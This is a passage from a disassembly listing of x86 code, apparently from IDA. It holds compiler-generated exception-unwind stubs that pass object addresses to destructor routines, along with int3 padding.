; ---------------------------------------------------------------------------


loc_43AF88:				; DATA XREF: ___:004412FCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414430	proc near		; DATA XREF: sub_414430+2o
		mov	eax, offset dword_4412D0
		jmp	sub_437AB8
SEH_414430	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AFC8:				; DATA XREF: ___:00441344o
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AFD8:				; DATA XREF: ___:004144D2o
		mov	eax, offset dword_441318
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4145A0	proc near		; DATA XREF: sub_4145A0+2o
		mov	eax, offset dword_441358
		jmp	sub_437AB8
SEH_4145A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B018:				; DATA XREF: ___:004413B4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B020:				; DATA XREF: ___:00414762o
		mov	eax, offset dword_441388
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B038:				; DATA XREF: ___:004413ECo
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4148A0	proc near		; DATA XREF: sub_4148A0+2o
		mov	eax, offset dword_4413C0
		jmp	sub_437AB8
SEH_4148A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B05B:				; DATA XREF: ___:00441424o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414AA0	proc near		; DATA XREF: sub_414AA0+2o
		mov	eax, offset dword_4413F8
		jmp	sub_437AB8
SEH_414AA0	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B098:				; DATA XREF: ___:00414B32o
		mov	eax, offset dword_441438
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B0B8:				; DATA XREF: ___:00414BC2o
		mov	eax, offset dword_441468
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B0D8:				; DATA XREF: ___:004414C4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414D70	proc near		; DATA XREF: sub_414D70+2o
		mov	eax, offset dword_441498
		jmp	sub_437AB8
SEH_414D70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-48h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-44h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414E10	proc near		; DATA XREF: sub_414E10+8o
		mov	eax, offset dword_4414E0
		jmp	sub_437AB8
SEH_414E10	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43B178:				; DATA XREF: ___:0044156Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_401447
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401938
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401CA3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401EA1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A32
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017AD
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402239
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401ECE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018D9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017DA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B3B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F46
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_401889
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401E06
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_402013
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_401776
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401F00
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B2E1:				; DATA XREF: ___:00416A92o
		mov	eax, offset dword_441540
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43B358:				; DATA XREF: ___:0044167Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_401447
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401938
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401CA3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401EA1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A32
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017AD
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402239
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401ECE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018D9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017DA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B3B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F46
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_401889
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401E06
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_402013
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_401776
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401F00
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B4C1:				; DATA XREF: ___:00416E32o
		mov	eax, offset dword_441650
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4170B0	proc near		; DATA XREF: sub_4170B0+2o
		mov	eax, offset dword_441760
		jmp	sub_437AB8
SEH_4170B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_43B55B:				; DATA XREF: ___:004417BCo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40208B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417120	proc near		; DATA XREF: sub_417120+2o
		mov	eax, offset dword_441790
		jmp	sub_437AB8
SEH_417120	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B98B:				; DATA XREF: ___:004419FCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417640	proc near		; DATA XREF: sub_417640+2o
		mov	eax, offset dword_4419D0
		jmp	sub_437AB8
SEH_417640	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43B9DB:				; DATA XREF: ___:00441A44o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4176E0	proc near		; DATA XREF: sub_4176E0+2o
		mov	eax, offset dword_441A18
		jmp	sub_437AB8
SEH_4176E0	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BA4E:				; DATA XREF: ___:00441A9Co
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4177B0	proc near		; DATA XREF: sub_4177B0+2o
		mov	eax, offset dword_441A70
		jmp	sub_437AB8
SEH_4177B0	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BAAB:				; DATA XREF: ___:00441AE4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417870	proc near		; DATA XREF: sub_417870+2o
		mov	eax, offset dword_441AB8
		jmp	sub_437AB8
SEH_417870	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BB0B:				; DATA XREF: ___:00441B34o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417930	proc near		; DATA XREF: sub_417930+2o
		mov	eax, offset dword_441B08
		jmp	sub_437AB8
SEH_417930	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4179F0	proc near		; DATA XREF: sub_4179F0+2o
		mov	eax, offset dword_441B58
		jmp	sub_437AB8
SEH_4179F0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417A60	proc near		; DATA XREF: sub_417A60+2o
		mov	eax, offset dword_441B88
		jmp	sub_437AB8
SEH_417A60	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417AD0	proc near		; DATA XREF: sub_417AD0+2o
		mov	eax, offset dword_441BB8
		jmp	sub_437AB8
SEH_417AD0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417B60	proc near		; DATA XREF: sub_417B60+2o
		mov	eax, offset dword_441BE8
		jmp	sub_437AB8
SEH_417B60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BBFB:				; DATA XREF: ___:00441C4Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417C20	proc near		; DATA XREF: sub_417C20+2o
		mov	eax, offset dword_441C20
		jmp	sub_437AB8
SEH_417C20	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BC4B:				; DATA XREF: ___:00441C94o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417CC0	proc near		; DATA XREF: sub_417CC0+2o
		mov	eax, offset dword_441C68
		jmp	sub_437AB8
SEH_417CC0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BC9B:				; DATA XREF: ___:00441CDCo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417D60	proc near		; DATA XREF: sub_417D60+2o
		mov	eax, offset dword_441CB0
		jmp	sub_437AB8
SEH_417D60	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BD0E:				; DATA XREF: ___:00441D34o
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417E30	proc near		; DATA XREF: sub_417E30+2o
		mov	eax, offset dword_441D08
		jmp	sub_437AB8
SEH_417E30	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BD6B:				; DATA XREF: ___:00441D7Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417F50	proc near		; DATA XREF: sub_417F50+2o
		mov	eax, offset dword_441D50
		jmp	sub_437AB8
SEH_417F50	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

